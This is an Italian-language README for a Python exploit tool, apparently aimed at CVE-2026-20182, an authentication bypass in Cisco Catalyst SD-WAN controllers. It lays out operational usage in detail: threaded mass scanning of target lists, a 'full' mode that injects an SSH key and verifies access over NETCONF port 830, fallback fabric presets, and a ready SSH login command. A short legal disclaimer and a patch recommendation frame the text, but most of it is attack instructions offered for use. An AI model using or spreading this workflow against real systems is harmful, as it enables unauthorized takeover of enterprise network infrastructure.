CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentication Bypass

CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentication Bypass

Strumento di valutazione per test autorizzati del bypass dell'autenticazione di peering di Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).

Riepilogo della vulnerabilità

Avviso di maggio 2026: Una falla nell'handshake della connessione di controllo / autenticazione di peering consente a un attaccante remoto non autenticato di bypassare l'autenticazione e ottenere accesso interno ad alti privilegi sui sistemi interessati.

Un attaccante invia richieste appositamente predisposte al sistema interessato. In caso di successo, l'attaccante può autenticarsi come account interno, ad alti privilegi, non-root e raggiungere NETCONF, consentendo la manipolazione della configurazione del fabric SD-WAN.

Raccomandazione: Applicare le correzioni di sicurezza Cisco secondo le indicazioni ufficiali del fornitore. Limitare l'esposizione del management plane, monitorare le connessioni del control plane e verificare i controller SD-WAN per modifiche di configurazione non autorizzate.

Contatti

Telegram: @KNxploited

Anteprima della console

Strumento: CVE-2026-20182.py

Framework di exploit in Python 3 per CVE-2026-20182 contro Cisco SD-WAN vdaemon (UDP/DTLS 12346).

Cosa fa (passo per passo)

Fallback di fabric: In caso di TEAR_DOWN o disallineamento dei parametri, riprova con preset domain/site alternativi (1,100), (1,1), (0,0) a meno che non venga specificato --no-fallback.

Livelli dei risultati (leggere attentamente)

Importante

• Modalità check → al massimo livello 03 (sonda di bypass). Non è prova completa di sfruttamento.
• Modalità full → punta al livello 01 (ssh_verified).
• https://host nell'elenco → solo indicazione web TCP (80/443). Non DTLS UDP su 443.

Requisiti

pip install -r requirements.txt

OpenSSL (sistema)

Windows

1. Installare Win64 OpenSSL 3.x o equivalente
2. Aggiungere bin\ al PATH, oppure impostare:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

Lo strumento termina all'avvio se OpenSSL non può essere caricato.

Avvio rapido

Menu interattivo (predefinito)

python CVE-2026-20182.py

• Configurare le opzioni 1–11, poi 0 = AVVIA SCANSIONE
• Modalità di esecuzione predefinita: check (sonda di bypass sicura)

Non interattivo (automazione)

python CVE-2026-20182.py -y

Modalità di esecuzione

CHECK — solo sonda di bypass

python CVE-2026-20182.py -y --mode check

FULL — inietta chiave + verifica SSH (solo target autorizzati)

python CVE-2026-20182.py -y --mode full

Riferimento CLI (ogni flag + esempio)

Target e worker

-f / --file — elenco dei target (predefinito: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — thread worker (1–200, predefinito 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID predefinito quando non presente nell'elenco (predefinito: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID predefinito quando non presente nell'elenco (predefinito: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Modalità e automazione

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — salta il menu interattivo; usa solo i valori CLI

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

Verifica SSH

--no-ssh-verify — salta il test SSH post-iniezione (sconsigliato in modalità full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — prova anche la TCP 22 dopo la 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / fabric

--no-try-list-udp — solo UDP 12346; ignora :port dall'elenco

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — lab: porte UDP extra su ogni host

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — disabilita il nuovo tentativo domain/site su TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Registrazione log

-v / --verbose — registra ogni messaggio di protocollo TX/RX

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Menu interattivo (quando -y è omesso)

Formato di targets.txt

Un target per riga. Le righe che iniziano con # vengono ignorate.

File di esempio

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Non supportato: IPv6 (solo IPv4 / hostname).

File di output

Esempio di comando SSH (livello 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Flussi di lavoro consigliati

1) Screening di molti host (veloce)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Esaminare cisco_sdwan_03_bypass_only.jsonl e le statistiche live Solo bypass.

2) Confermare l'exploit sugli host selezionati

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Esaminare cisco_sdwan_01_confirmed_ssh.jsonl — unico file con ssh_verified: true.

3) Debug di un singolo host (verbose)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Telemetria live (durante la scansione)

Note operative

• La modalità predefinita è check — non scrive chiavi né prova SSH da sola.
• Successo reale = ssh_verified=true solo in modalità full.
• Fabric patchato / errato → spesso TEAR_DOWN dopo CHALLENGE_ACK; abilitare il fallback di fabric o correggere domain/site nell'elenco.
• Il firewall deve consentire UDP/12346 (ed eventuali porte UDP extra dell'elenco) dallo scanner al controller.
• Non committare sdwan_keys/ né i risultati delle scansioni in repository pubblici.

Disclaimer legale

Questo software è destinato esclusivamente a ricerca sulla sicurezza autorizzata, valutazione difensiva e formazione.

È necessario disporre di autorizzazione scritta esplicita per testare qualsiasi sistema che non si possiede o si gestisce. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non è responsabile di usi impropri, danni o conseguenze legali derivanti dall'uso di questo strumento.

Utilizzare solo su sistemi e reti in cui si dispone di esplicita autorizzazione a eseguire test di sicurezza.

By: Nxploited ( Khaled Alenazi )